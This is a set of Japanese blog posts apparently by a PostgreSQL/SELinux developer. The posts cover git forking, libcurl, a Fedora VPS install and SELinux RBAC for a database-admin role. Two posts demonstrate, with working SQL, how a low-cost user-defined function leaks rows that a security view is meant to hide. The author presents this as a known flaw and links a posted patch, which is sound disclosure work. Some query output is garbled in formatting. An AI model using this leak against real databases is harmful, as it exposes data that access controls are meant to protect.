Leaky VIEW まとめ

SELinuxとは関係のない、RDBMSでのセキュリティのお話。

利用者に対して、テーブルに対する直接のアクセス権を与えず、特定のビューを通してだけアクセスを許可するのは、行レベルのアクセス制御でよく使われるテクニックである。
つまり、ビューは不可視であるタプルをフィルタリングする役割を持つ。

しかし、これで万全かというと、そうではない。
クエリ最適化を上手く利用することで、利用者が見えないはずのタプルを参照する事は可能である。

以下の例を見て頂きたい。

postgres=# CREATE TABLE T1 (id int, name text);
CREATE TABLE
postgres=# CREATE TABLE T2 (id int, cred text);
CREATE TABLE
postgres=# INSERT INTO t1 VALUES (1, 'coke'), (2, 'soda'),
                                 (3, 'juice'), (4, 'fanta');
INSERT 0 4
postgres=# INSERT INTO t2 VALUES (1, 'public'), (2, 'hidden'),
                                 (3, 'hidden'), (4, 'public');
INSERT 0 4
postgres=# CREATE VIEW v1 AS SELECT * FROM t1 NATURAL JOIN t2
                                      WHERE t2.cred = 'public';
CREATE VIEW
postgres=# SELECT * FROM v1;
 id | name  |  cred
----+-------+--------
  1 | coke  | public
  4 | fanta | public
(2 rows)

postgres=# GRANT SELECT ON v1 TO alice;
GRANT

ビュー v1 は、テーブル t1 と t2 を JOINし、ここでは t2.cred = 'public' が行レベルのセキュリティポリシー、すなわち、フィルタリング対象の行を定めるものとする。

ユーザ alice は t1 と t2 へのアクセス権を持っていないため、ビュー v1 を通してしか、これらの情報にアクセスできないはずである。

だがしかし、以下のクエリの実行結果を見てもらいたい。

postgres=> SELECT getpgusername();
 getpgusername
---------------
 alice
(1 row)

postgres=> SELECT * FROM t1;
ERROR:  permission denied for relation t1
postgres=> SELECT * FROM t2;
ERROR:  permission denied for relation t2
postgres=> SELECT * FROM v1;
 id | name  |  cred
----+-------+--------
  1 | coke  | public
  4 | fanta | public
(2 rows)

上記の結果は想定通りだろう。
では、続いて、WHERE句にユーザ定義関数を付加する。
この関数は、常に true を返すが、引数を利用者のコンソールに出力する。

postgres=> CREATE OR REPLACE FUNCTION f_leak(text)
               RETURNS bool LANGUAGE 'plpgsql'
               AS 'BEGIN
                       raise notice ''f_lead: (%)'', $1;
                       RETURN true;
                   END';
CREATE FUNCTION
postgres=> SELECT * FROM v1 WHERE f_leak(name);
NOTICE:  f_lead: (coke)
NOTICE:  f_lead: (soda)
NOTICE:  f_lead: (juice)
NOTICE:  f_lead: (fanta)
 id | name  |  cred
                                        • -
1 | coke | public 4 | fanta | public (2 rows)

結果セットは2行だが、利用者コンソールには見えてはならないはずのタプルの内容が出力されている。

その理由はEXPLAIN分の出力を見ると明らかである。

postgres=> EXPLAIN SELECT * FROM v1 WHERE f_leak(name);
                           QUERY PLAN
                                                                                                                              • -
Hash Join (cost=25.45..356.91 rows=12 width=68) Hash Cond: (t1.id = t2.id) -> Seq Scan on t1 (cost=0.00..329.80 rows=410 width=36) Filter: f_leak(name) -> Hash (cost=25.38..25.38 rows=6 width=36) -> Seq Scan on t2 (cost=0.00..25.38 rows=6 width=36) Filter: (cred = 'public'::text) (7 rows)

f_leak()関数を探してみると、Join-Loopの内側で t1 テーブルを読み出す際のフィルタリング条件として実行されている事がわかる。

これは、f_leak()の引数が t1 由来のデータだけを参照しているため、Joinすべき行数を減らすために、本来実行されるべき位置(t1.id = t2.id を評価した後)からオプティマイザによって移動させられた事による。

とは言え、この手の最適化を行わなければビューを介したアクセスは極端に性能が悪くなるはずなので、問題は PostgreSQL に限った話ではないと思われる。

例えば、100万件のタプルを持つテーブルでID列にインデックスが張られており、処理コストの比較的高い f_policy() 関数によってフィルタリングを行うビューを介してアクセスするとする。その場合、ビューの外から ID = 1234 という条件が来た場合に常に全件スキャンが走るようなら、泣ける。

手元にOracleの環境がある友人に試してもらったところ、同様に、見えないはずのタプルの内容を出力できるそうな。

なお、PostgreSQLには、セキュリティポリシーの適用されている t2 の内容を見る方法もある。*1

以下のような関数を定義する。ポイントは COST=0.0001 の部分。

postgres=> CREATE OR REPLACE FUNCTION f_leak(text)
               RETURNS bool LANGUAGE 'plpgsql'
               COST 0.0001
               AS 'BEGIN
                       raise notice ''f_lead: (%)'', $1;
                       RETURN true;
                   END';
CREATE FUNCTION

今度は f_leak() 関数で t2 の情報を参照するようにすると、同様にフィルタリングされているはずの行の内容が出力される。

postgres=> SELECT * FROM v1 WHERE f_leak(cred);
NOTICE:  f_lead: (public)
NOTICE:  f_lead: (hidden)
NOTICE:  f_lead: (hidden)
NOTICE:  f_lead: (public)
 id | name  |  cred
                                        • -
1 | coke | public 4 | fanta | public (2 rows)

EXPLAIN文の結果

postgres=> EXPLAIN SELECT * FROM v1 WHERE f_leak(cred);
                            QUERY PLAN
                                                                                                                                  • -
Hash Join (cost=25.40..52.43 rows=12 width=68) Hash Cond: (t1.id = t2.id) -> Seq Scan on t1 (cost=0.00..22.30 rows=1230 width=36) -> Hash (cost=25.38..25.38 rows=2 width=36) -> Seq Scan on t2 (cost=0.00..25.38 rows=2 width=36) Filter: (f_leak(cred) AND (cred = 'public'::text)) (6 rows)

今度は、f_leak()がt2のScan-Loopに結合されているが、注目すべきはその順序。

f_leak()のコスト値を低く設定したために、複数のフィルタリング条件がScan-Loopに結合している場合、f_leak()が cred = 'public' よりも優先されている。

後者のシナリオは、何もJoinを伴わない場合でも実行可能である。

この問題は、既に開発者の中では既知の問題で、利用者から特定のタプルを不可視にする目的でビューを使うべきでない事が明記されている。
http://www.postgresql.jp/document/current/html/rules-privileges.html

5/18にオタワで開催される PostgreSQL Developer Meeting では、この問題を議論するつもりである。
一応、解決策の腹案は持っているが、そこまで踏み込まないにしても、先ずはこの辺のシナリオが『解決すべき課題である』というコンセンサス形成あたりを目標としたい。

*1:PostgreSQL固有というのは、他のRDBMSでユーザ定義関数のコストを指定する手段があるかどうか不明のため。

OSS開発勉強会-09

今日の勉強会で説明した内容のメモ

GitHubなんかを使って、何か別のOSSプロジェクト(gitで管理されている)の
派生バージョンを作り、かつ、オリジナルの更新に追従する方法。

オリジナルのGitリポジトリのURLを git://github.com/kaigai/my_oss.git とし、
このリポジトリに対するコミット権は無いものとする。

自分の派生バージョンのGitリポジトリのURLを ssh://git@github.com/kaigai/modified.git とする。
自分はこのリポジトリの所有者であるのでコミット権があるものとする。

% git clone ssh://git@github.com/kaigai/modified.git
% git remote add upstream git://github.com/kaigai/my_oss.git
  • 手順3:オリジナルの master をトラッキングするブランチの作成
% git checkout --track upstream/master -b develop

ここでは develop というブランチを作成し、同時に、このブランチが upstream リポジトリの master ブランチをトラッキング(追跡)するように設定している。

これにより、オリジナル側で新たなパッチが commit された場合には、git pull でオリジナルの修正をマージすることができるようになる。

  • 手順4:オリジナル側の更新をマージ
% git pull [--rebase]
  • 手順5:origin のリモートリポジトリに登録
% git push origin develop

この操作により、developブランチに加えた全ての修正がoriginのリモートブランチに加えられる事になり、他の利用者にも visible となる。

gitの場合、ローカル環境で commit しても、pushしない限りその修正はローカルのコピー(git cloneした)に留まることに留意。

この辺の git の機能を使えば、非常に楽に派生バージョンを並行に開発することができる。
SE-PostgreSQLのように、マージまでに非常に長い時間がかかって
いる場合でも、本家の追従を容易に行うことができる。

OSS開発勉強会-08 (前半)

ひそやか〜に続けている社内勉強会のメモ。
(特に今回は資料もなかったので)

libcurl について

このライブラリを使うと、HTTP(s)ほかプロトコルでURLにアクセスする
プログラムを、非常に簡単に書く事ができる。

ソースコードはこちらのリポジトリ参照
http://github.com/shiumachi/curl_tut

ポイントとなるコードは以下の通り

まず、ライブラリ自体を初期化する。
この関数はThread-Safeではないので、Apacheのモジュールから使うのであれば、
child_initフックなどの初期化フェーズ(まだスレッドが作られていない)で
呼ぶ必要があるだろう。

curl_global_init(CURL_GLOBAL_SSL);

そして、これと対になるのが

curl_global_cleanup();

とりあえず、グローバルな初期化と終了処理はこの2つ。

そして、個々のURLに対するロジックの核は以下のブロック

  FILE *fp = stdout;
  char *url = "http://www.example.com/";
  CURL *curl;
    :
  curl = curl_easy_init();

  curlinfo = curl_version_info(CURLVERSION_NOW);

  curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
  curl_easy_setopt(curl, CURLOPT_URL, url);

  res = curl_easy_perform(curl);

  curl_easy_cleanup(curl);

やる事は、curl_easy_init()で作成したCURLオブジェクトに、
色々オプションを指定して、最後にcurl_easy_perform()を実行する。
そうすると、この関数が指定したオプションに従って処理をしてくれる。

この場合、CURLOPT_URLで指定したURLからGETを試みて、取得したデータを
CURLOPT_WRITEDATAで指定したストリームに書き込む。

POSTメソッドの場合も非常に単純。libcurl-tutorial(3)を参照すると、
以下のような記述がある。

We provide a pointer to the data and tell libcurl to post it all to the remote site:

    char *data="name=daniel&project=curl";
    curl_easy_setopt(easyhandle, CURLOPT_POSTFIELDS, data);
    curl_easy_setopt(easyhandle, CURLOPT_URL, "http://posthere.com/");

    curl_easy_perform(easyhandle); /* post away! */

Simple enough, huh? Since you set the POST options with the CURLOPT_POSTFIELDS,
this automatically switches the handle to use POST in the upcoming request.

確かにこれは simple enough である。

さくらのVPSにFedoraをインスコ

話題のさくらVPS、早速申し込んでOSを入れ替えてみた。

私の好みにより、Fedora Linuxとする。

ただ、実際のところ、非常に簡単にインストールが終わり、
ちょっと拍子抜けしたくらい。

まず、標準のCentOS5.4環境にログインし、Fedoraのインストールイメージで
ブートするように grub の設定を書き換える。

[root@www5066u ~]# mount -o ro,loop Fedora-13-x86_64-netinst.iso /mnt/
[root@www5066u ~]# cp /mnt/images/pxeboot/vmlinuz \
                      /mnt/images/pxeboot/initrd.img /boot

ネットワークブート用の vmlinuz と initrd.img を /boot にコピー。
続いて、/boot/grun/grub.conf を以下のように書き換える。

# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE:  You have a /boot partition.  This means that
#          all kernel and initrd paths are relative to /boot/, eg.
#          root (hd0,0)
#          kernel /vmlinuz-version ro root=/dev/vda2
#          initrd /initrd-version.img
#boot=/dev/vda
default=0
timeout=5
#splashimage=(hd0,0)/grub/splash.xpm.gz
serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1
terminal --timeout=10 serial console
hiddenmenu
title Fedora 13 installation
        kernel /vmlinuz ro console=tty0 console=ttyS0,115200n8r
        initrd /initrd.img
title CentOS (2.6.18-194.8.1.el5)
        root (hd0,0)
        kernel /vmlinuz-2.6.18-194.8.1.el5 ro root=LABEL=/ console=tty0 console=ttyS0,115200n8r
        initrd /initrd-2.6.18-194.8.1.el5.img

そして再起動。ああ、その前にネットワーク設定を書き留めておこう。


ネットワークブート用のカーネルで起動すると、まずKeyBoardとNICの
設定を聞かれる。ここはIPv4で先ほど書きとめておいたネットワーク
設定を記入する。

続いて、インストール元を聞かれるので『URL』を選択し、適当な
Fedoraのミラーを指定する。今回は理研FTPサーバを使った。

Welcome to Fedora for x86_64                                                    

┌───────────┤ URL Setup  ├────────────┐
│                                                              │
│          Please enter the URL containing the Fedora          │
│          installation image on your server.                  │
│                                                              │
│ http://ftp.riken.jp/Linux/fedora/releases/13/Fedora/x86_64/os│
│                                                              │
│ [ ] Enable HTTP proxy                                        │
│                                                              │
│ Proxy URL        ___________________________________         │
│ Username         _______________                             │
│                                                              │
│ Password         _______________                             │
│                                                              │
│            ┌──┐                   ┌───┐             │
│            │ OK │                   │ Back │             │
│            └──┘                   └───┘             │
│                                                              │
│                                                              │
└───────────────────────────────┘

その後、install.img をロードして anaconda が起動するが、以降の作業は
VNCサーバ経由で行った方が吉。
テキストモードだと指定できないオプションもあるので。
(パーティション構成のCustom Layoutなど)

VNCで繋いでからの作業は特に特筆する事は無し。
普段のインストール時と同じようにして、最後に "reboot" ボタンを
クリックして完了。

あまりに簡単すぎて拍子抜けした。

[root@www5066u ~]# uname -r
2.6.33.3-85.fc13.x86_64
[root@www5066u ~]# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda2             19894140   3315412  15568144  18% /
tmpfs                   252784         0    252784   0% /dev/shm
/dev/sda1               101086     62494     33373  66% /boot
[root@www5066u ~]# free
             total       used       free     shared    buffers     cached
Mem:        505568     159116     346452          0      10944      65856
-/+ buffers/cache:      82316     423252
Swap:       655352          0     655352
[root@www5066u ~]# sestatus
SELinux status:                 enabled
SELinuxfs mount:                /selinux
Current mode:                   enforcing
Mode from config file:          enforcing
Policy version:                 24
Policy from config file:        targeted

swap 2GBはちょっと多すぎる気がしたので640MBに減らした。

もちろん、SELinuxは有効にしている。

RBACによるDB管理者の設定

やっとこさdbadm.ppポリシーがFedoraでも有効化されたので、RBACを使った
DB管理者の設定方法について記す事にする。

ポリシーは selinux-policy-3.9.1 以降を用意してほしい。
現時点ではRawhide(開発者版)向けなので、Fedora15での機能になるハズ。

方針は以下の通り。

  • ユーザ dba をDB管理者として定義する
  • ログイン時のロール:ドメインは staff_r:staff_t とする。
  • sudoを使って root に昇格する際に、dbadm_r:dbadm_t に変更。

まず、UNIXユーザ dba を定義する。

[root@masu ~]# useradd dba -g users
[root@masu ~]# passwd dba
Changing password for user dba.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

次に、対応する SELinux ユーザ dba_u を作成する。
dba_uは、UNIXユーザ dba と、staff_r および dbadm_r ロールを紐付ける目的で使用する。

[root@masu ~]# semanage user -a -P user -r s0 \
                        -R "system_r staff_r dbadm_r" dba_u
[root@masu ~]# semanage login -a -r s0 -s dba_u dba
[root@masu ~]# cp /etc/selinux/targeted/contexts/users/staff_u \
                  /etc/selinux/targeted/contexts/users/dba_u

最初の構文では、新たにSELinuxユーザ dba_u を定義する。
このSELinuxユーザには system_r と staff_r と dbadm_r ロールが
紐付けられている。
(system_rはサーバプロセスの起動のため)
また、ホームディレクトリのラベリングに使用する prefix として
user を指定(-P user)しているが、現状、これ以外の選択肢はない。

次の構文では、UNIXユーザ dba に対してログイン時に紐付けるSELinux
ユーザを指定している。ここで、先ほど定義した dba_u を指定する。

さらに、ログイン直後は staff_r:staff_t のロール/ドメインのペアを
関連付けるため、staff用の設定ファイルをコピーして使用する。
ログインしたらいきなり dbadm_r:dbadm_t というのは指定できない為念
(Dan Walshが「俺はそーゆーポリシーはヤダ」と突っぱねたので…。)

では、dbaでログインしてみよう。どうなるか。

[kaigai@masu ~]$ ssh dba@localhost
dba@localhost's password:
Last login: Thu Sep  9 22:33:52 2010 from localhost
[dba@masu ~]$ id -Z
dba_u:staff_r:staff_t:s0

確かに設定した通り、dba_u:staff_r:staff_t:s0 としてログインできている。

では最後に、ここから dbadm_r:dbadm_t に遷移するための sudo の設定を
行う事にしよう。

[root@masu ~]# echo "dba ALL=(ALL) ROLE=dbadm_r TYPE=dbadm_t NOPASSWD:/sbin/service" \
                    >> /etc/sudoers

この設定のポイントは、ROLE=dbadm_r と TYPE=dbadm_t である。
FedoraのsudoコマンドにはSELinux対応のパッチが含まれており、
sudoで権限を切り替える際に、ロール/ドメインも併せて指定する事ができる。
(ここ、テストに出ますよ!)

すると、どうなるか。

[dba@masu ~]$ sudo service sepostgresql start
Starting sepostgresql service:                             [  OK  ]
[dba@masu ~]$ ps -eZ | grep postgres
dba_u:system_r:postgresql_t:s0  13423 ?        00:00:01 sepostgres
dba_u:system_r:postgresql_t:s0  13425 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13426 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13427 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13428 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13429 ?        00:00:00 sepostgres
[dba@masu ~]$

こんな感じで、サーバプロセスの起動/停止が行えるようになる。

その他、sudo経由での/bin/bashを許可すれば、DB設定ファイルの編集ができたりするが、
それ以外のファイルには一切触れないという面白い事になったりする。

ユーザのホームディレクトリを読み込めず、さすがに辛いという場合は、
dbadm_read_user_files (読込のみ) か dbadm_manage_user_files (読み書き) の
booleanを設定して少しポリシーを緩めると良いだろう。

[root@masu ~]# setsebool -P dbadm_read_user_files 1

Step to break Row-level security using VIEWs

RDBMSでビューを使った行レベルアクセス制御はよく知られたテクニックである。
だが、PostgreSQLでユーザ定義関数を使って、ビューによる行レベルアクセス制御をバイパスする方法については、よく知られたテクニックであるかどうかは不明である。

下のユーザ定義関数を見てほしい。注目すべきは、関数の実行コストを 0.0001 と与えているところ。

postgres=# CREATE FUNCTION f_malicious(text) RETURNS bool
    LANGUAGE 'plpgsql' COST 0.0001
    AS 'BEGIN RAISE NOTICE ''f_malicious: %'', $1; RETURN true; END;';
CREATE FUNCTION

PostgreSQLに限らず、世間一般のRDBMSでは、SELECT文を実行してテーブルからデータを取り出す時に、タプルが検索条件に合致するかどうかを検査する必要がある。

PostgreSQLの最適化は、条件句に複数の条件がAND結合されている時に、実行コストの小さいものから順に実行するように、検索条件の実行順序を並べ替える。BOOL型のAND結合なので、当然、順序を入れ替えても実行結果は同じはずである。但し、副作用のない関数であればの話だが。

例えば、以下のようにテーブルとビューを定義して、主キーが奇数の行しか見えないとしよう。

postgres=# CREATE TABLE t1 (a int primary key, b text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t1_pkey" for table "t1"
CREATE TABLE
postgres=# INSERT INTO t1 VALUES (1, 'aaa'), (2, 'bbb'), (3, 'ccc');
INSERT 0 3
postgres=# CREATE VIEW v1 AS SELECT * FROM t1 WHERE a & 1 = 1;
CREATE VIEW

postgres=# SELECT * FROM v1;
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

正しく動いているように見える。駄菓子菓子。

postgres=# SELECT * FROM v1 WHERE f_malicious(b);
NOTICE:  f_malicious: aaa
NOTICE:  f_malicious: bbb <--- え!?
NOTICE:  f_malicious: ccc
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

EXPLAINでクエリ実行計画を見てみると、謎が解ける。

postgres=# EXPLAIN SELECT * FROM v1 WHERE f_malicious(b);
                     QUERY PLAN
                                                                                                      • -
Seq Scan on t1 (cost=0.00..28.45 rows=2 width=36) Filter: (f_malicious(b) AND ( (a & 1) = 1)) (2 rows)

テーブルt1をスキャンする時に、検索条件は f_malicious() と (t1.a & 1) = 1 の2つだが、f_malicious() の作成時に実行コストを極めて小さく与えたために、最適化によって f_malicious() の実行の方が先に並べ替えられてしまった。

そのため、本来はフィルタリングされるはずの偶数キーのタプルの内容が f_malicious() に渡され、それが外部にリークするという結果をもたらしている。


実は、これとは別のシナリオで行レベルアクセス制御を破る方法も存在する。

下のビュー定義を見てほしい。内部で2つのテーブルをJOINしている。
同様に、偶数キーをフィルタリングしている。

postgres=# CREATE TABLE t2 (x int primary key, y text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t2_pkey" for table "t2"
CREATE TABLE
postgres=# INSERT INTO t2 VALUES (1, 'xxx'), (2, 'yyy'), (3, 'zzz');
INSERT 0 3

postgres=# CREATE VIEW v2 AS SELECT * FROM t1 JOIN t2 ON t1.a = t2.x WHERE a & 1 = 1;
CREATE VIEW
postgres=# SELECT * FROM v2;
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

駄菓子菓子。これも案の定、簡単に破る事ができる。

postgres=# SELECT * FROM v2 WHERE f_malicious(y);
NOTICE:  f_malicious: xxx
NOTICE:  f_malicious: yyy <-- あれま!?
NOTICE:  f_malicious: zzz
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

同じように見えるが、これはさっきの現象とはシナリオが異なる。
下記のEXPLAINの出力結果を見てほしい。

postgres=# EXPLAIN SELECT * FROM v2 WHERE f_malicious(y);
                           QUERY PLAN
                                                                                                                              • -
Hash Join (cost=28.52..52.42 rows=6 width=72) Hash Cond: (t2.x = t1.a) -> Seq Scan on t2 (cost=0.00..22.30 rows=410 width=36) Filter: f_malicious(y) -> Hash (cost=28.45..28.45 rows=6 width=36) -> Seq Scan on t1 (cost=0.00..28.45 rows=6 width=36) Filter: ( (a & 1) = 1) (7 rows)

フィルタリングの条件 (t1.a & 1) = 1 が Seq-Scan on t1 に結びついている一方で、
f_malicious(y) が JOIN ループの内側、Seq-Scan on t2 に結びついているのである。

これは、JOINすべきタプルの数が少なければ少ないほど、処理が軽くて済むという考えから、
引数が t2 テーブルのみに依存している f_malicious() 関数を t2 スキャンに結びつける
という最適化が行われている。

もちろん、セキュリティ的な視点からはダウト。

てな事で、放置する訳にも行かないのでパッチを投稿。
http://archives.postgresql.org/message-id/4C076B96.8080502@ak.jp.nec.com

一番の問題は、SE-PostgreSQLの行レベル制御にも同じ方法を使うように提案されているものの、
こんなボロボロじゃ使い物にならないという事だ。早く直さねば。(´ー`;)

RBACでDB管理者ロールを定義する(前編)

RHEL6もβが公開とかで、そろそろRBACが真っ当に使えるようなSELinuxの標準ポリシーが出てきそうな今日この頃。先んじて設定方法をまとめておく。

一応、標準ではwebコンテンツ管理者ロールというのが入っているが、私の興味分野的にアレなので、DB管理者ロールを定義して、特定のユーザがDB管理者ロールの時にだけDB起動/再起動などを行えるようにしたい。

まず、ポリシーモジュールを書く。
既にアップストリームに統合済みのポリシーも含まれているので、後々のFedoraではconflictする事もあるやと。その場合は、適宜重複分を削ってほしい。

policy_module(dbadm, 1.1.0)

########################################
#
# Declarations
#

## <desc>
## <p>
## Allow dbadm to manage files in users home directories
## </p>
## </desc>
gen_tunable(dbadm_manage_user_files, false)

## <desc>
## <p>
## Allow dbadm to read files in users home directories
## </p>
## </desc>
gen_tunable(dbadm_read_user_files, false)

role dbadm_r;

userdom_base_user_template(dbadm)


########################################
#
# database admin local policy
#

allow dbadm_t self:capability { dac_override dac_read_search sys_ptrace };

files_dontaudit_search_all_dirs(dbadm_t)
files_manage_generic_locks(dbadm_t)
files_list_var(dbadm_t)

selinux_get_enforce_mode(dbadm_t)

logging_send_syslog_msg(dbadm_t)

userdom_dontaudit_search_user_home_dirs(dbadm_t)

tunable_policy(`dbadm_manage_user_files',`
        userdom_manage_user_home_content_files(dbadm_t)
        userdom_read_user_tmp_files(dbadm_t)
        userdom_write_user_tmp_files(dbadm_t)
')

tunable_policy(`dbadm_read_user_files',`
        userdom_read_user_home_content_files(dbadm_t)
        userdom_read_user_tmp_files(dbadm_t)
')

optional_policy(`
        mysql_admin(dbadm_t, dbadm_r)
')

optional_policy(`
        postgresql_admin(dbadm_t, dbadm_r)
')

optional_policy(`
        staff_role_change_to(dbadm_r)
')

#
# Hotfix in type_transition rules and permissions to execute
# system defined procedures.
# (memo: this fix was already upstreamed at Mon Apr 12 2010)
#
gen_require(`
        class db_database all_db_database_perms;
        class db_table all_db_table_perms;
        class db_procedure all_db_procedure_perms;
        class db_column all_db_column_perms;
        class db_tuple all_db_tuple_perms;
        class db_blob all_db_blob_perms;

        attribute sepgsql_admin_type;
        attribute sepgsql_database_type;
        type sepgsql_db_t;
        type sepgsql_table_t;
        type sepgsql_proc_exec_t;
        type sepgsql_blob_t;
')
type_transition sepgsql_admin_type sepgsql_admin_type:db_database sepgsql_db_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_table sepgsql_table_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_procedure sepgsql_proc_exec_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_blob sepgsql_blob_t;

allow sepgsql_admin_type sepgsql_proc_exec_t:db_procedure execute;

これをビルドしてインストール

$ vi dbadm.te
$ make -f /usr/share/selinux/devel/Makefile dbadm.pp
find: `~.doc': No such file or directory
Compiling targeted dbadm module
/usr/bin/checkmodule:  loading policy configuration from tmp/dbadm.tmp
/usr/bin/checkmodule:  policy configuration loaded
/usr/bin/checkmodule:  writing binary representation (version 10) to tmp/dbadm.mod
Creating targeted dbadm.pp policy package
rm tmp/dbadm.mod tmp/dbadm.mod.fc
$ su
Password:
# semodule -i dbadm.pp
# semodule -l | grep dbadm
dbadm   1.1.0

OK。これで下準備は終わり。
後々のFedora/RedHatELのアップデートでは、この辺の下準備は必要なくなると思う。

次いで、SELinuxユーザとロールとの関連付けを行う。
SELinuxユーザというのは、UNIXユーザとロールに対してN:Mの対応付けを行うための抽象的な識別子で、あるロールの組(例:foo_r var_r baz_r)に対してUNIXユーザ(例:hoge monu)を対応させる場合に、1個のSELinuxユーザを定義してfoo_r var_r baz_rを紐付け、そこにhogeとmonuを関連付けてやる。

ここでは、sepgsql_uというSELinuxユーザを作成し、staff_r/dbadm_r/system_rを紐付けている。

  • Rオプション以外はひとまず"おまじない"だと思ってほしい。
# semanage user -a -R "staff_r dbadm_r system_r" -P user \
             -r s0-s0:c0.c1023 -L s0-s0:c0.c1023 sepgsql_u

次に、sepgsqlというUNIXユーザを、先ほど定義したsepgsql_uに関連付ける。

# semanage login -a -s sepgsql_u -r s0-s0:c0.c1023 sepgsql

最後に、sepgsql_uユーザがログイン時に利用するロールを指定する設定ファイルをコピーする。
今回の場合は、staff_uと全く同じなので編集の必要はなし。

# cp /etc/selinux/targeted/contexts/users/staff_u \
     /etc/selinux/targeted/contexts/users/sepgsql_u

では、sepgsqlユーザでログインしてみよう。

[root@masu ~]# ssh sepgsql@localhost
sepgsql@localhost's password:
Last login: Sat Apr 24 11:32:56 2010 from localhost
[sepgsql@masu ~]$ id -Z
sepgsql_u:staff_r:staff_t:s0-s0:c0.c1023

OK、sepgsqlでログインすると、SELinuxユーザはsepgsql_uで、ロール/ドメインはstaff_rになっている。

続いて、sepostgresqlデーモンを起動/停止するためのsudoを設定する。

echo "sepgsql ALL=(ALL) ROLE=dbadm_r TYPE=dbadm_t NOPASSWD:/sbin/service" >> /etc/sudoers

ROLE= とか TYPE= はSELinux用の拡張で、sudoする時にロールやドメインを切り替える。この場合、dbadm_r/dbadm_tに切り替える。

では、sepostgresqlを初期化/起動してみる。

[sepgsql@masu ~]$ sudo service sepostgresql initdb
Initializing database:                                 [  OK  ]
[sepgsql@masu ~]$ sudo service sepostgresql start
Starting sepostgresql service:                         [  OK  ]
[sepgsql@masu ~]$ ps -AZ | grep sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19695 ? 00:00:01 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19697 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19698 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19699 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19700 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19701 ? 00:00:00 sepostgres

OK、無事に起動しているのがわかる。

定義済み boolean の設定しだいでは、dbadm_u ロールにはユニークな権限を持たせることができる。その辺の解説はまた後日。